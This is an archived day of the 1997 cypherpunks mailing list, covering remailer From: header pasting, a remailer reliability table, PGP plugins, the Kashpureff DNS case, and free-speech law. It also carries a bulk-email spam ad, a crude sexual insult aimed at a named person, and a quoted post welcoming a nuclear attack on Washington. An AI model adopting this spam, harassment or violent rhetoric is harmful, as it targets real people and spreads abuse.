From andy at neptune.chem.uga.edu Mon Dec 1 07:05:39 1997 From: andy at neptune.chem.uga.edu (Andy Dustman) Date: Mon, 1 Dec 1997 07:05:39 -0800 (PST) Subject: Pasting in From: In-Reply-To: Message-ID: On Sun, 30 Nov 1997, Lance Cottrell wrote: > The risks of allowing pasted From: lines far outweigh the benefits. Pasting > of From lines makes remailer operators much more vulnerable to charges of > fostering forgery rather than simple anonymity. > > Spam baiting is another obvious risk. Forged postings with deplorable > content will bring down retribution on the forgery victim. Forged From > lines can also be used to subscribe victims to thousands of mailing lists. > > The uses of this "feature" can be duplicated with other mechanisms such as > nym-servers, which provide persistent unique From lines without the > possibility of forgery of arbitrary addresses. Users desiring greater > security can simply point the reply capability of the nym server at the > nearest /dev/null. I've said all of this before myself, and still people want it. So there will be two safeguards which should prevent the aforementioned problems: 1) The From: address on USENET posts will be mangled a la mail2news_nospam to prevent spam baiting. Most of the posts I see with pasted From: lines (from replay, in alt.privacy.anon-server) use a fake address and aren't trying to impersonate anyone. 2) Whenever a From: line is pasted, a disclaimer will be inserted at the top of the body, stating that the original sender has set the From: line, and that the identification cannot be verified. The fact that it is up at the top of the body should mean people should actually see it before reacting. 3) As someone else has suggested, it does indeed insert a Sender: header with the remailer's address. Two basic points also about "forgeries". First, you can forge headers pretty easily without any programs other than telnet. Second, if this actually does become misused frequently, all I need to do is delete one character from one file (a # in headers.del) and it will be disabled. I consider this an experimental feature, and if it doesn't work out, I'll just turn it back off. Andy Dustman / Computational Center for Molecular Structure and Design For a great anti-spam procmail recipe, send me mail with subject "spam". Append "+spamsucks" to my username to ensure delivery. KeyID=0xC72F3F1D Encryption is too important to leave to the government. -- Bruce Schneier http://www.athens.net/~dustman mailto:andy at neptune.chem.uga.edu <}+++< From nimark at mailexcite.com Mon Dec 1 08:28:42 1997 From: nimark at mailexcite.com (nimark at mailexcite.com) Date: Mon, 1 Dec 1997 08:28:42 -0800 (PST) Subject: how's it going? Message-ID: <2.0.32.19328261102482318.006216328@mailexcite.com> Would you be interested in... <*> Sending out a FREE Bulk Email Advertisement for your business or web page to over 250,000 PEOPLE PER DAY? <*> Receiving 35,000,000 Email Addresses which can be used in your Bulk Emailings, FREE of charge? You may shudder at the thought of Bulk Email.. but the simple truth is.. BULK EMAIL WORKS! If Bulk Email didn't work, THEN YOU WOULDN'T BE READING THIS! YOUR COMPETITION is sending out Bulk Email Advertisements to over 50,000,000 People on the Internet! Why aren't YOU? THOUSANDS of companies are sending out Bulk Email to dramatically increase their profits and so should you! Even Fortune 500 companies send out Bulk Email to MILLIONS of people! With Bulk Email, you are reaching up to 250,000 people per day for FREE! Your business will DRAMATICALLY IMPROVE! To Learn how YOU can send out Bulk Email to over 50,000,000 People on the Internet for FREE, visit our web site at: http://204.50.168.161 To be removed from our Mailing List, send an email to: newport at lostvegas.com with the word "REMOVE" in the subject line. From shamrock at cypherpunks.to Mon Dec 1 00:00:30 1997 From: shamrock at cypherpunks.to (Lucky Green) Date: Mon, 1 Dec 1997 16:00:30 +0800 Subject: Nuclear Physics Study Group In-Reply-To: <8f07ca0537b17a179e2c7c496793b5f2@anon.efga.org> Message-ID: On Sun, 30 Nov 1997, Anonymous wrote: > Lucky Green : > > > On a completely unrelated note, is there some interest in starting up a > > "Cypherpunks Nuclear Physics Study Group"? I recently finished reading > > "The Curve of Binding Energy". Fascinating book. > > Is this really unrelated or does it represent growing ambition > by the cypherpunks shooting club ? Will you be asking for anonymous > donations of SNM ? Anonymous donations of fissionable materials are of course welcome. [Subject to applicable laws, etc]. As to the Cypherpunks Shooting Club, one member was recently on an airborne survey mission to identify a suitable testing area for some model rockets. The kind of model rockets that can reach orbit. [Half scale. Team includes some people from JPL...] > I could be interested, but not in the manner of the above 2 sentences. I am simply interested in the theoretical aspects of this field. -- Lucky Green PGP v5 encrypted email preferred. "Tonga? Where the hell is Tonga? They have Cypherpunks there?" From anon at anon.efga.org Mon Dec 1 00:08:26 1997 From: anon at anon.efga.org (Anonymous) Date: Mon, 1 Dec 1997 16:08:26 +0800 Subject: PGP / Outlook Express Plugin Problem Message-ID: <710eabcd66f483175a2ce24987449a11@anon.efga.org> Rip van Seaberg writes: > Anyone care to speculate irresponsibly about what PGP is up to, what > with dropping the 2.6 command line in favor of a handful of plugins? > Did they get paid to integrate PGP support in Eudora and Communicator > and make integration unavailable to competing tools? Are they hoping to > sell piles of US$12k+ SDKs? Is there any other plausible reason they > would want to break every tool and script that shells to PGP? Since the introduction of PGP in 1991 there have been changes in the way people use computers. Instead of typing clumsy command lines like "pgp -s -a -e -t -f" to perform operations, computer users today use a "mouse", a small device about the size of a pack of cards which is connected to the computer by a long "tail" (hence the name). By moving the mouse they are able to move an indicator on the screen called a "cursor". They point the cursor at "icons", small pictures which represent the operations they want to perform. Clicking buttons on the mouse allows them to manipulate data in a much more intuitive way. Old command line programs were accessible only to a small fraction of potential computer users. The new mouse based graphical computers open the world of computing to a much wider base of users. PGP plugins allows mail to be encrypted or decrypted with a single click of a mouse button. This is a far cry from the clumsy command lines of the past. Tune in next week to find out how your trusty floppy disks may soon be replaced by Compact Disk Read Only Memory devices. From gbroiles at netbox.com Mon Dec 1 00:10:40 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Mon, 1 Dec 1997 16:10:40 +0800 Subject: Kashpureff stuff online Message-ID: <3.0.2.32.19971201000503.0069ca58@pop.sirius.com> CBC has put together a short (7 mins or so) news piece on the Kashpureff/Alternic situation - it's available via RealVideo (which seems to run reasonably over my 28.8 modem at home) at . They've also made an image of his US arrest warrant and the criminal complaint filed in the US district court (ED NY, 97-1343M) available at . -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | Export jobs, not crypto. http://www.io.com/~gbroiles | http://www.parrhesia.com From tm at dev.null Mon Dec 1 02:17:45 1997 From: tm at dev.null (TruthMonger) Date: Mon, 1 Dec 1997 18:17:45 +0800 Subject: If it saves the life of one non-Iraqian child... Message-ID: <34828BE2.5432@dev.null> Ya gotta love that Saddam, eh? Allowing the press to do a photoshoot of all those children who don't seem to be the child everyone is desparately trying to save by taking away our basic human rights and freedoms... I loved watching the western newswoman on TV yesterday, trying to explain to the local citizens how the US embargo that was resulting in the deaths of their children was all Saddam's fault. (Although I must have missed the part where she explained Saddam's authority to set US foreign policy.) I think we should immediately drop-ship a few thousand baby T-shirts to Iraq that have "I am not _the_ child!" stenciled on them, so that Americans watching at home don't mistake the starving Iraqian children for the one that we are saving by allowing our government to monitor and oppress us. Next time you pay your taxes, try to remember that you are just following orders...Saddam is evil...those are not _the_ child...you are only doing what is required by law...Saddam is responsible...you are just obeying the law...you are just following orders...you don't put them in the ovens, you just pay for the ovens...you don't turn on the gas, you just pay for the gas...you are just following orders... TruthMonger From tm at dev.null Mon Dec 1 02:57:12 1997 From: tm at dev.null (TruthMonger) Date: Mon, 1 Dec 1997 18:57:12 +0800 Subject: [RePol] NEWBIE QUESTION In-Reply-To: <3.0.3.16.19971129101259.2feff5ce@global.california.com> Message-ID: <34828F6F.35F3@dev.null> jari.aalto at poboxes.com wrote: > Sat 97-11-29 Denizen list.repol > | Since anon.penet.fi is dead, who is left that > | does approx. the same thing, > | > | 1) allowing non-encrypted email out > | 2) requiring encrypted only > | 3) allowing it either way. > Would someone shed a light, > tell me about the backgrounds of Denizen and his motives? > > I'd like to help people, but only the honest ones. Jari, You should also make certain that you only help honest people who will not become dishonest in the future. My suggestion. File all questions away for a period of forty years, and then, if the person asking the question has proved honest for that period of time, send them the answer. No need to thank me...I'm always willing to help. TruthMonger From dlv at bwalk.dm.com Mon Dec 1 05:49:48 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Mon, 1 Dec 1997 21:49:48 +0800 Subject: If you fought to defend your country... In-Reply-To: <199712010717.BAA00499@smoke.suba.com> Message-ID: "snow" writes: > > Vulis said: > > Only 2 inches are required to reach the prostate. Anything over that > > is just windows dressing. > > Sounds like the voice of experience to me. That's right - I habitually fuck Chris Lewis in the ass with a dildo. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Mon Dec 1 05:58:25 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Mon, 1 Dec 1997 21:58:25 +0800 Subject: Pasting in From: In-Reply-To: <3.0.3.32.19971201001413.03a6d40c@mail.atl.bellsouth.net> Message-ID: "Robert A. Costner" writes: > It seems to me that the purpose of a remailer is to strip the headers, > including the FROM header, not to put in fake headers. Until someone can > explain it to me, I'd consider the idea of adding a FROM header to > anonymous mail to be asinine. > > Best I can tell, the only reasonable good purpose for this is to create a > persistent nym identity without a reply to capability. Well, remailer > software cannot support everything I suppose. (Even if Cracker may > apparently support this) > > I would think the best way to put in a persistent nym capability would be > to database the PGP key id's along with the persistent identity. Then the > remailer could produce lines like > > From: "Monty Cantsin" > > Persistent identities would be created by sending a signed PGP message that > includes both the PGP public key and the persistent identity. Since the > identity server would not database email addresses, only PGP key id's, and > only work for signed messages, there should be no problem with people > worrying about the remailer being compromised. This also keeps someone > from stealing another's reputation capital. Igor's STUMP has a similar feature, although I don't think a lot of posters currently use it. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From ichudov at Algebra.COM Mon Dec 1 06:22:40 1997 From: ichudov at Algebra.COM (Igor Chudov @ home) Date: Mon, 1 Dec 1997 22:22:40 +0800 Subject: Pasting in From: In-Reply-To: Message-ID: <199712011411.IAA04116@manifold.algebra.com> Dr.Dimitri Vulis KOTM wrote: > "Robert A. Costner" writes: > > > It seems to me that the purpose of a remailer is to strip the headers, > > including the FROM header, not to put in fake headers. Until someone can > > explain it to me, I'd consider the idea of adding a FROM header to > > anonymous mail to be asinine. > > > > Best I can tell, the only reasonable good purpose for this is to create a > > persistent nym identity without a reply to capability. Well, remailer > > software cannot support everything I suppose. (Even if Cracker may > > apparently support this) > > > > I would think the best way to put in a persistent nym capability would be > > to database the PGP key id's along with the persistent identity. Then the > > remailer could produce lines like > > > > From: "Monty Cantsin" > > > > Persistent identities would be created by sending a signed PGP message that > > includes both the PGP public key and the persistent identity. Since the > > identity server would not database email addresses, only PGP key id's, and > > only work for signed messages, there should be no problem with people > > worrying about the remailer being compromised. This also keeps someone > > from stealing another's reputation capital. > > Igor's STUMP has a similar feature, although I don't think a lot of posters > currently use it. CBI news agency used to do it until it got tired of signing non-ASCII messages. One of the groups that uses STUMP went even farther and decided to allow only PGP signed anonymous messages. I was really surprised when I saw that provision. - Igor. From aba at dcs.ex.ac.uk Mon Dec 1 06:53:41 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Mon, 1 Dec 1997 22:53:41 +0800 Subject: Kashpureff stuff online In-Reply-To: <3.0.2.32.19971201000503.0069ca58@pop.sirius.com> Message-ID: <199712011205.MAA00816@server.test.net> Greg Broiles writes: > CBC has put together a short (7 mins or so) news piece on the > Kashpureff/Alternic situation - it's available via RealVideo (which seems > to run reasonably over my 28.8 modem at home) at > . So what did Kashpureff do? Who is Kashpureff? Is he the guy at Alternic who did some advanced DNS hacking to get Internic DNS root to point to him? Or something else? Adam -- Now officially an EAR violation... Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/ print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 :: Subject: Re: Pasting in From: -----BEGIN PGP SIGNED MESSAGE----- Sender: Amad3us Robert Costner says: > It seems to me that the purpose of a remailer is to strip the headers, > including the FROM header, not to put in fake headers. Until someone can > explain it to me, I'd consider the idea of adding a FROM header to > anonymous mail to be asinine. The purpose of a remailer is to allow the sender to be anonymous, so it strips real headers to prevent accidents (eg. subject fields organization etc). Then it has to allow you to put headers back in otherwise you can't interoperate with software. Eg pasting in References:, Subject: (I would like to see Cc: and Bcc: being allowed to be pasted in also). I would also like to see From: pasted in. In fact I can see no purpose to restrict what can be pasted in, other than to reduce complaints to the remailer operator possibly. > Best I can tell, the only reasonable good purpose for this is to create a > persistent nym identity without a reply to capability. Well, remailer > software cannot support everything I suppose. (Even if Cracker may > apparently support this) It's easy enough to allow From:. I do it myself sometimes, and notice Nerthus does also, pasting in From fields works at least with Replay as the exit node, but that results in two From fields. My software shows be all headers. I am not sure what other software would do, probably, only display the first From field (the remailers). I would have thought remailers are not actually trying to advertise their From fields. Perhaps allowing bogus From fields, or even putting in remailer at dev.null if there is not a From field would greatly reduce complaints from clueless users. If you want to you can always put in Sender: remailer at anon.efga.org. > I would think the best way to put in a persistent nym capability would be > to database the PGP key id's along with the persistent identity. Then the > remailer could produce lines like > > From: "Monty Cantsin" That'd do. However you'll notice that my address is: Amad3us which means that I would like it to be pasted in as it is replyable (for encrypted mail) even though not being a nymserver account. > Persistent identities would be created by sending a signed PGP message that > includes both the PGP public key and the persistent identity. Since the > identity server would not database email addresses, only PGP key id's, and > only work for signed messages, there should be no problem with people > worrying about the remailer being compromised. This also keeps someone > from stealing another's reputation capital. Not sure that the assurance is this strong. However the feature would be useful. Amad3us -----BEGIN PGP SIGNATURE----- Version: 6.6.6 iQCVAwUBNIKq4PKMuKFNFivhAQGvpwP9HnkWew9lSzQ5cj70UehLkopbLJr7YFSq S5ZJzPp2KuYqVpjs7Lyagg0WtFyX9UUFFCXuWemhjJNLAmqQP7fkAnxs1Epq4LTj cd+qn3Y58EQlyQAlFwF/l7bUedWVwcxIkVmR5PxkwG3LTMzYHGLSIuhF6gqanSv0 EyjvkXIw/as= =fbA1 -----END PGP SIGNATURE----- From raph at CS.Berkeley.EDU Mon Dec 1 07:05:21 1997 From: raph at CS.Berkeley.EDU (Raph Levien) Date: Mon, 1 Dec 1997 23:05:21 +0800 Subject: List of reliable remailers Message-ID: <199712011450.GAA18600@kiwi.cs.berkeley.edu> I operate a remailer pinging service which collects detailed information about remailer features and reliability. To use it, just finger remailer-list at kiwi.cs.berkeley.edu There is also a Web version of the same information, plus lots of interesting links to remailer-related resources, at: http://www.cs.berkeley.edu/~raph/remailer-list.html This information is used by premail, a remailer chaining and PGP encrypting client for outgoing mail. For more information, see: http://www.c2.org/~raph/premail.html For the PGP public keys of the remailers, finger pgpkeys at kiwi.cs.berkeley.edu This is the current info: REMAILER LIST This is an automatically generated listing of remailers. The first part of the listing shows the remailers along with configuration options and special features for each of the remailers. The second part shows the 12-day history, and average latency and uptime for each remailer. You can also get this list by fingering remailer-list at kiwi.cs.berkeley.edu. $remailer{'cyber'} = ' alpha pgp'; $remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?"; $remailer{"replay"} = " cpunk mix pgp hash latent cut post ek"; $remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek"; $remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord ?"; $remailer{'nym'} = ' newnym pgp'; $remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek"; $remailer{'weasel'} = ' newnym pgp'; $remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{"cracker"} = " cpunk mix remix pgp hash ksub esub latent cut ek reord post"; $remailer{'redneck'} = ' newnym pgp'; $remailer{"bureau42"} = " cpunk mix pgp ksub hash latent cut ek"; $remailer{"neva"} = " cpunk pgp pgponly hash cut ksub ?"; $remailer{"lcs"} = " mix"; $remailer{"medusa"} = " mix middle" $remailer{"McCain"} = " mix middle"; $remailer{"valdeez"} = " cpunk pgp pgponly hash ek"; $remailer{"arrid"} = " cpunk pgp pgponly hash ek"; $remailer{"hera"} = " cpunk pgp pgponly hash ek"; $remailer{"htuttle"} = " cpunk pgp hash latent cut post ek"; catalyst at netcom.com is _not_ a remailer. lmccarth at ducie.cs.umass.edu is _not_ a remailer. usura at replay.com is _not_ a remailer. remailer at crynwr.com is _not_ a remailer. There is no remailer at relay.com. Groups of remailers sharing a machine or operator: (cyber mix reno winsock) (weasel squirrel medusa) (cracker redneck) (nym lcs) (valdeez arrid hera) This remailer list is somewhat phooey. Go check out http://www.publius.net/rlist.html for a good one. Last update: Thu 23 Oct 97 15:48:06 PDT remailer email address history latency uptime ----------------------------------------------------------------------- hera goddesshera at juno.com ------------ 5:03:45 99.86% nym config at nym.alias.net +*#**#**### :34 95.82% redneck config at anon.efga.org #*##*+#**** 2:00 95.44% mix mixmaster at remail.obscura.com +++ ++++++* 19:18 95.27% squirrel mix at squirrel.owl.de -- ---+--- 2:34:19 95.16% cyber alias at alias.cyberpass.net *++***+ ++ 11:26 95.11% replay remailer at replay.com **** *** 10:06 94.93% arrid arrid at juno.com ----.------ 8:50:34 94.41% bureau42 remailer at bureau42.ml.org --------- 3:38:29 93.53% cracker remailer at anon.efga.org + +*+*+*+ 16:32 92.80% jam remailer at cypherpunks.ca + +*-++++ 24:14 92.79% winsock winsock at rigel.cyberpass.net -..-..---- 9:59:18 92.22% neva remailer at neva.org ------****+ 1:03:02 90.39% valdeez valdeez at juno.com 4:58:22 -36.97% reno middleman at cyberpass.net 1:01:28 -2.65% History key * # response in less than 5 minutes. * * response in less than 1 hour. * + response in less than 4 hours. * - response in less than 24 hours. * . response in more than 1 day. * _ response came back too late (more than 2 days). cpunk A major class of remailers. Supports Request-Remailing-To: field. eric A variant of the cpunk style. Uses Anon-Send-To: instead. penet The third class of remailers (at least for right now). Uses X-Anon-To: in the header. pgp Remailer supports encryption with PGP. A period after the keyword means that the short name, rather than the full email address, should be used as the encryption key ID. hash Supports ## pasting, so anything can be put into the headers of outgoing messages. ksub Remailer always kills subject header, even in non-pgp mode. nsub Remailer always preserves subject header, even in pgp mode. latent Supports Matt Ghio's Latent-Time: option. cut Supports Matt Ghio's Cutmarks: option. post Post to Usenet using Post-To: or Anon-Post-To: header. ek Encrypt responses in reply blocks using Encrypt-Key: header. special Accepts only pgp encrypted messages. mix Can accept messages in Mixmaster format. reord Attempts to foil traffic analysis by reordering messages. Note: I'm relying on the word of the remailer operator here, and haven't verified the reord info myself. mon Remailer has been known to monitor contents of private email. filter Remailer has been known to filter messages based on content. If not listed in conjunction with mon, then only messages destined for public forums are subject to filtering. Raph Levien From Chelsea's.Bloody.Carcass.Remailer at sasknet.sk.ca Mon Dec 1 07:22:51 1997 From: Chelsea's.Bloody.Carcass.Remailer at sasknet.sk.ca (Chelsea's.Bloody.Carcass.Remailer at sasknet.sk.ca) Date: Mon, 1 Dec 1997 23:22:51 +0800 Subject: Sharon Tate's Baby Message-ID: <199712011505.JAA03909@harrier.sasknet.sk.ca> "There are no sounds, only numbers. Turning round and round inside my brain. Turning into words which are stolen from the wind, And imprisoned in a digital refrain." "Analog was King when Elvis crooned. Sound had soul and beauty, dissonance and charm. But war has been declared upon the soul (and imperfection), And the Digital Revolution is the newest call to arms. "Digital Revolution" from "The Tables Have Turned (@ 33 rpm)" by Probable Cause, (c) 1987 Countie Mountie Productions From declan at well.com Mon Dec 1 08:08:54 1997 From: declan at well.com (Declan McCullagh) Date: Tue, 2 Dec 1997 00:08:54 +0800 Subject: Conservative groups call for new Net "code of conduct" Message-ID: I'm sitting in the National Press Club, in front of a dozen television cameras, where a conservative press conference on Kids and the Net is starting. Groups like the Family Research Council and the Christian Coalition are complaining that the Internet industry isn't doing enough to label, filter, and rate the Net and is instead looking to "make a few quick bucks." What prompted this event is a two-day summit about to start here in Washington, DC, where high tech firms are joining senior administration officials. The industry's goal: to head off the sequel to the Communications Decency Act. Sen. Dan Coats (R-Indiana), the bill's chief sponsor, is here today. "It has only been the threat of government involvment that has prompted this industry to take any steps at all," he's saying. "There is a dark side to the Internet. That dark side brings unrestrained, unrestricted pornographic material into every home, every library, every school." Now Karen Jo Gounaud is blasting the American Library Association for the unlikely offense of condoning bestiality. "Parents cannot being to handle these problems alone. It's a village problem and it demands a village solution," she says. The solution, these groups say, is to pressure Internet providers to adopt their "Code of Ethical Conduct." It says: "Will adopt terms-of-service policies stating that it reserves the right to take action in good faith to restrict availability of material that it considers to be obscene, lewd, lascivious, filthy, excessively violent, harassing, or otherwise objectionable, whether or not such material is constitutionally protected." Among other things, the code calls for Usenet filtering and "parental controls as the default settings" for minors. In a few hours (in the same room, in fact), civil liberties and journalism groups are going to be arguing against "mandatory voluntary" rating systems and pointing out their flaws. This leaves the White House precisely where it wants to be: squarely in the middle. More on this later. -Declan From mnemonic at well.com Mon Dec 1 08:14:58 1997 From: mnemonic at well.com (Mike Godwin) Date: Tue, 2 Dec 1997 00:14:58 +0800 Subject: FC: Revolution and the limits of free speech online In-Reply-To: Message-ID: The proper test is not the Yates test, but the test of Brandenburg v. U.S. (1969, I believe), which distinguishes between mere advocacy of violence and "incitement to imminent lawless action" that is "likely to result in such action." Brandenburg is the leading case. Under Brandenburg, Tim May or anyone else could call for violent revolution (or for the commission of other violent acts) and the speech is understood to be protected. Only an incitement to *imminent* (that is, immediate) violent action, where such incitement is likely to cause an unreflective response, is punishable. The facts of Brandenburg concern a speech given at a KKK rally in which the speaker called for a race war and "revengeance" against non-whites. The speech was deemed to be protected by the First Amendment. The decision was authored by Justice Hugo Black. Mike >---- > >Date: Fri, 28 Nov 1997 00:45:48 -0500 >To: cypherpunks at toad.com >From: Declan McCullagh >Subject: Is Tim May guilty of illegally advocating revolution? > >So I've been reading "Freedom and the Court" by Henry Abraham, and a >passage in it made me think of Tim May and the cypherpunks list: > > "//Actual, overt// incitement of the overthrow of the government > of the United States by force and violence, accompanied by the > language of direct and imminent incitement, is not freedom of > expression but a violation of Court-upheld legislative > proscriptions; yet the //theoretical// advocacy of such > overthrow, on the other hand, has been a judicially recognized > protected freedom since 1957." [See Yates v. United States, 354 > U.S. 298 (1957), particularly Mr. Justice Harlan's opinion for > the 6:1 court.] (Emphasis in the original. --DM) > >Some civil liberties lawyers, incidentally, have told me that Internet >messages almost by definition are probably not "direct and imminent >incitement." > >Some excerpts from Yates v. United States: > >http://caselaw.findlaw.com/scripts/getcase.pl?navby=case&court=US&vol=354&page= >2 >9 > The essential distinction [354 U.S. 298, 325] is that those to whom > the advocacy is addressed must be urged to do something, now or > in the future, rather than merely to believe in something. [...] > > Instances of speech that could be considered to amount to "advocacy > of action" are so few and far between as to be almost completely > overshadowed by the hundreds of instances in the record in which > overthrow, if mentioned at all, occurs in the course of doctrinal > disputation so remote from action as to be almost wholly lacking > in probative value. Vague references to "revolutionary" or > "militant" action of an unspecified character, which are found > in the evidence, might in addition be given too great weight by > the jury in the absence of more precise instructions. > Particularly in light of this record, we must regard the trial > court's charge in this respect as furnishing wholly inadequate > guidance to the jury on this central point in the case. We cannot > allow a conviction to stand on such "an equivocal direction to > the jury on a basic issue." > >-Declan > > >Date: Fri, 28 Nov 1997 07:25:01 -0500 >To: Declan McCullagh , cypherpunks at toad.com >From: Duncan Frissell >Subject: Re: Is Tim May guilty of illegally advocating revolution? > >At 12:45 AM 11/28/97 -0500, Declan McCullagh wrote: >>So I've been reading "Freedom and the Court" by Henry Abraham, and a >>passage in it made me think of Tim May and the cypherpunks list: > >There is no crime called "advocating revolution" or even >"revolution." The crime that is being discussed in such cases is >"sedition." > >Any US Attorney will tell you that sedition convictions are hard to >win because of the difficulty proving that the defendant actually >tried to do so in a realistic way. Tough. > >The trial of a group of isolationists during WWII and some white >supremacists a few years ago resulted in acquittals. > >DCF > > > >Date: Sat, 29 Nov 1997 22:33:10 -0800 >To: Declan McCullagh , cypherpunks at toad.com >From: Bill Stewart >Subject: Re: Is Tim May guilty of illegally advocating revolution? > >At 12:45 AM 11/28/1997 -0500, Declan McCullagh wrote: >> "//Actual, overt// incitement of the overthrow of the government >> of the United States by force and violence, accompanied by the >> language of direct and imminent incitement, is not freedom of >> expression but a violation of Court-upheld legislative >> proscriptions; yet the //theoretical// advocacy of such >> overthrow, on the other hand, has been a judicially recognized >> protected freedom since 1957." [See Yates v. United States, 354 >> U.S. 298 (1957), particularly Mr. Justice Harlan's opinion for >> the 6:1 court.] (Emphasis in the original. --DM) >> >>http://caselaw.findlaw.com/scripts/getcase.pl?navby=case&court=US&vol=354&page >>=2 >Actually, the linewrap munged the "page=298" at the end, leaving a >reference is Reid vs. Covert, another fascinating case, >dealing with the limits on US jurisdiction on citizens outside the 48 states, >in particarticular military jurisdiction and territorial jurisdictions >(including pointers to the cases about confiscation of Mormon Church property >during the Defense Of Marriage\\\\\\\\\\\anti-polygamy legislation.) > >Yates, a case about the legalization of Communism, is at >http://caselaw.findlaw.com/scripts/getcase.pl?navby=case&court=US&vol=354&page= >2 >98 . >While the primary opinion of the court was as above, the court >unfortunately stopped short of the blazingly absolutist defense of free speech >by Justice Hugo Black (joined by Douglas), in an opinion that partially >concurs and partially dissents, and is therefore only dicta. > "I believe that the First Amendment forbids Congress to punish people > for talking about public affairs, whether or not such discussion > incites to action, legal or illegal." ...... > >It was either this case or cases like it that spurred the >John Birch Society to their calls for impeaching Earl Warren, >even before that pinko compounded his anti-Americanism by >insisting that cops read people their rights and get search warrants. > >As for the case of May vs. Reno, 99 US 666 (1999) (:-), I've never >heard Tim call for the violent overthrow of the US government. >He's called for a far more dangerous method of getting rid of it >(rendering it obsolete and letting the public catch on at their own speed), >and he's also expressed the position that if a bunch of >black-hooded thugs invade his house some night he'll defend himself >first and not worry about checking their bodies for stinkin' badges >or designer logos on their backs until the bullets stop flying. > >Not guilty. > > > Thanks! > Bill > > > >Date: Sat, 29 Nov 1997 23:04:58 -0700 >To: Bill Stewart , Declan McCullagh , > cypherpunks at toad.com >From: Tim May >Subject: Re: Is Tim May guilty of illegally advocating revolution? > >At 11:33 PM -0700 11/29/97, Bill Stewart wrote: > >>As for the case of May vs. Reno, 99 US 666 (1999) (:-), I've never >>heard Tim call for the violent overthrow of the US government. >>He's called for a far more dangerous method of getting rid of it >>(rendering it obsolete and letting the public catch on at their own speed), >>and he's also expressed the position that if a bunch of >>black-hooded thugs invade his house some night he'll defend himself >>first and not worry about checking their bodies for stinkin' badges >>or designer logos on their backs until the bullets stop flying. >> >>Not guilty. > >An almost complete summary of my stance. > >But Bill left out the third leg of my tripod, that I expect to wake up some >morning and learn that some major city, perhaps Washington, D.C. has been >nuked or bugged. > >And, as I am fond of saying, I doubt I'll shed any tears. > >(Which got first twisted into "Tim wants to see D.C. nuked) (possibly >true), and then further mutated into "Tim is involved in a conspiracy to >help terrorists destroy major cities" (possibly true)). > >Fortunately for me, none of these legs of the tripod are (yet) illegal, >though I gather from what I saw of several of Hettinga's recent foamings >that he thinks they should be. > >--Tim May > > >The Feds have shown their hand: they want a ban on domestic cryptography >---------:---------:---------:---------:---------:---------:---------:---- >Timothy C. May | Crypto Anarchy: encryption, digital money, >ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero >W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, >Higher Power: 2^2,976,221 | black markets, collapse of governments. >"National borders aren't even speed bumps on the information superhighway." > > >-------------------------------------------------------------------------- >This list is public. To join fight-censorship-announce, send >"subscribe fight-censorship-announce" to majordomo at vorlon.mit.edu. >More information is at http://www.eff.org/~declan/fc/ ---------------------------------------------------------------------------- We shot a law in _Reno_, just to watch it die. Mike Godwin, EFF Staff Counsel, is currently on leave from EFF, participating as a Research Fellow at the Freedom Forum Media Studies Center in New York City. He can be contacted at 212-317-6552. ---------------------------------------------------------------------------- From Off-Topic.Header.Remailer at sasknet.sk.ca Mon Dec 1 08:20:50 1997 From: Off-Topic.Header.Remailer at sasknet.sk.ca (Off-Topic.Header.Remailer at sasknet.sk.ca) Date: Tue, 2 Dec 1997 00:20:50 +0800 Subject: None Message-ID: <199712011606.KAA09944@harrier.sasknet.sk.ca> Anon-To: From vin at shore.net Mon Dec 1 08:28:02 1997 From: vin at shore.net (Vin McLellan) Date: Tue, 2 Dec 1997 00:28:02 +0800 Subject: Big Brother Is Watching ATMs In-Reply-To: <3.0.3.32.19971130213445.006ad57c@popd.netcruiser> Message-ID: G'day Jonathan, Could you please identify this "bank card company" by name, card, nation, etc. ? Without some explicit cite of a commercial entity -- or a reference to some "strip-'em-naked-with-electrons" Police R&D group like the guys at Rome AFB -- this report sounds like another of those ID-Implant fantasies circulated by the guys who are bolting steel plate to their screen doors and programming their backyard AA to auto-target (a) Black Helicopters (b) which are on low-level rapid approach (c) full Oriental, Arab, and Hispanic troopers (c) wearing Blue Helmets. Got a single verifiable fact you could share? Or, with further checking, could you confirm that is this just another spicy rumor crafted to keep the boyos in the hills rubbing garlic into their hollow-points with proper militia enthusiasm? (Not that I don't enjoy a good tale to wake up sleepy Computer Science undergrads, mind you...) Up the Revolution, _Vin >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >I just heard that a bank card company has just released a program for using >photos of the iris in people's eyes as a biometric ID to replace people's >PIN codes for ATM / credit cards. What I found really interesting is how >they plan to implement it. As people use the ATM, they are photographed. >(Every ATM has a security camera.) Over time, as people use the ATM, the >security camera images are composited to produce a high-quality image of >their irises, which is coded and placed in their account information. Vin McLellan + The Privacy Guild + 53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548 -- <@><@> -- From frissell at panix.com Mon Dec 1 08:34:24 1997 From: frissell at panix.com (Duncan Frissell) Date: Tue, 2 Dec 1997 00:34:24 +0800 Subject: RICE v PALADIN ENTERPRISES In-Reply-To: <199711132216.QAA07981@dfw-ix2.ix.netcom.com> Message-ID: <3.0.2.32.19971201112809.036f79cc@panix.com> -----BEGIN PGP SIGNED MESSAGE----- The RICE v PALADIN ENTERPRISES decision is up (or part of it anyway): http://caselaw.findlaw.com/data2/circs/4th/962412p.html This is the conclusion which cuts off at that last comma. U.S. 4th Circuit Court of Appeals RICE v PALADIN ENTERPRISES Certainly, such a conclusion would be reasonable based upon this 